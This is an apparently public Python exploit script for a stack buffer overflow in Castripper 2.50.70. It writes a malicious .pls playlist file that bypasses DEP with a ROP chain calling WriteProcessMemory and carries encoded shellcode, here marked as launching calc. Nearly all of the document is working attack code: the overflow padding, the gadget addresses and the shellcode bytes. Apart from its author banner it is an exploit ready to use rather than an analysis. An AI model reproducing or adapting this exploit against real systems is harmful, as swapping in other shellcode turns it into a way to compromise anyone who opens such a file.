Castripper 2.50.70 – ‘.pls’ File Stack Buffer Overflow (DEP Bypass)
#!/usr/bin/python # # Castripper 2.50.70 (.pls) stack buffer overflow w/ DEP bypass exploit # Author: mr_me - https://net-ninja.net - mr_me [AT] corelan.be # Download: http://www.mini-stream.net/castripper/ # Tested on Wind0ws XP SP3 /noexecute=alwayson # Greetz: Corelan Security Team # http://www.corelan.be:8800/index.php/security/corelan-team-members/ # # DEP AlwaysOn bypass version # All rop gadgets are from the app's dll except for the hardcoded wpm() # and the 'XCHG EAX,EBX' which is from ntdll.dll (non aslr). # Thanks again to Sud0 and Lincoln for the motivation, you guys rock def banner(): print "|------------------------------------------------------------------|" print "| __ __ |" print "| _________ ________ / /___ _____ / /____ ____ _____ ___ |" print "| / ___/ __ \/ ___/ _ \/ / __ `/ __ \ / __/ _ \/ __ `/ __ `__ \ |" print "| / /__/ /_/ / / / __/ / /_/ / / / / / /_/ __/ /_/ / / / / / / |" print "| \___/\____/_/ \___/_/\__,_/_/ /_/ \__/\___/\__,_/_/ /_/ /_/ |" print "| |" print "|-------------------------------------------------[ EIP Hunters ]--|" print "[+] Castripper 2.50.70 (.pls) stack buffer overflow w/ DEP bypass exploit" # calc sc = ("\x89\xe1\xd9\xee\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49" "\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" "\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" "\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" "\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4a" "\x48\x47\x34\x43\x30\x45\x50\x45\x50\x4c\x4b\x51\x55\x47" "\x4c\x4c\x4b\x43\x4c\x45\x55\x42\x58\x45\x51\x4a\x4f\x4c" "\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x43\x31\x4a" "\x4b\x51\x59\x4c\x4b\x50\x34\x4c\x4b\x43\x31\x4a\x4e\x46" "\x51\x49\x50\x4c\x59\x4e\x4c\x4d\x54\x49\x50\x42\x54\x45" "\x57\x49\x51\x49\x5a\x44\x4d\x43\x31\x48\x42\x4a\x4b\x4c" "\x34\x47\x4b\x50\x54\x47\x54\x45\x54\x43\x45\x4b\x55\x4c" "\x4b\x51\x4f\x47\x54\x45\x51\x4a\x4b\x45\x36\x4c\x4b\x44" "\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x43\x31\x4a\x4b\x4c" "\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4c\x49\x51\x4c\x46" "\x44\x44\x44\x48\x43\x51\x4f\x50\x31\x4a\x56\x45\x30\x50" "\x56\x42\x44\x4c\x4b\x51\x56\x50\x30\x4c\x4b\x51\x50\x44" "\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x45" "\x58\x4b\x39\x4a\x58\x4d\x53\x49\x50\x42\x4a\x50\x50\x43" "\x58\x4a\x50\x4d\x5a\x44\x44\x51\x4f\x45\x38\x4a\x38\x4b" "\x4e\x4c\x4a\x44\x4e\x50\x57\x4b\x4f\x4d\x37\x42\x43\x43" "\x51\x42\x4c\x42\x43\x43\x30\x41\x41"); crash = "\x41" * 26065 rop = "\x0d\x0e\x01\x10" # MOV EAX,EDX # POP EDI # RETN : 0x10010E0D rop += "\x41\x41\x41\x41" # JUNK ---------^^^^ rop += "\x41\x41\x41\x41" # JUNK ---------^^^^ # get the shellcode len argv rop += "\x04\x33\x01\x10" # ADD EAX,-33 # RETN : 0x10013304 rop += "\x04\x33\x01\x10" # ADD EAX,-33 # RETN : 0x10013304 rop += "\x04\x33\x01\x10" # ADD EAX,-33 # RETN : 0x10013304 rop += "\x04\x33\x01\x10" # ADD EAX,-33 # RETN : 0x10013304 rop += "\x04\x33\x01\x10" # ADD EAX,-33 # RETN : 0x10013304 rop += "\x04\x33\x01\x10" # ADD EAX,-33 # RETN : 0x10013304 rop += "\x04\x33\x01\x10" # ADD EAX,-33 # RETN : 0x10013304 rop += "\x04\x33\x01\x10" # ADD EAX,-33 # RETN : 0x10013304 rop += "\x04\x33\x01\x10" # ADD EAX,-33 # RETN : 0x10013304 rop += "\x04\x33\x01\x10" # ADD EAX,-33 # RETN : 0x10013304 rop += "\x04\x33\x01\x10" # ADD EAX,-33 # RETN : 0x10013304 rop += "\x04\x33\x01\x10" # ADD EAX,-33 # RETN : 0x10013304 rop += "\x04\x33\x01\x10" # ADD EAX,-33 # RETN : 0x10013304 rop += "\x04\x33\x01\x10" # ADD EAX,-33 # RETN : 0x10013304 rop += "\x04\x33\x01\x10" # ADD EAX,-33 # RETN : 0x10013304 rop += "\x04\x33\x01\x10" # ADD EAX,-33 # RETN : 0x10013304 # close your eyes and think of the magic rop += "\x27\xd1\x9e\x7c" # XCHG EAX,EBX # JUNK # POP ESI # POP EBP # RETN 4 : 0x7C9ED127 rop += "\xff\xff\xff\xff" # -1 for hProcess rop += "\xcf\x22\x80\x7c" # @ to patch in kernel32.dll : 0x7C8022CF rop += "\xad\x0b\x01\x10" # POP EDI # RETN : 0x10010BAD rop += "\x41\x41\x41\x41" # JUNK --------------------------------------^^^^ rop += "\x13\xeb\x02\x10" # CALL EAX # JUNK : 0x1002EB13 rop += "\xeb\x87\x01\x10" # POP EBP # RETN : 0x100187EB rop += "\xcf\x22\x80\x7c" # @ to patch in kernel32.dll : 0x7C8022CF rop += "\xf7\x43\x02\x10" # POP EDX # RETN : 0x100243F7 rop += "\x44\x9f\x04\x10" # @ that is writeable : 0x10049F44 rop += "\x19\x53\x02\x10" # POP EAX # RETN : 0x10025319 rop += "\x13\x22\x80\x7c" # @ of WriteProcessMemory() : 0x7C802213 rop += "\xbd\xe3\x01\x10" # PUSHAD # RETN : 0x1001E3BD junk = "\x43" * 1000 buffer = crash + rop + sc + junk banner() print "[+] building .pls file.." m3ufile = open('cst-tryharder.pls','w') m3ufile.write(buffer) m3ufile.close() print "[+] Done !" |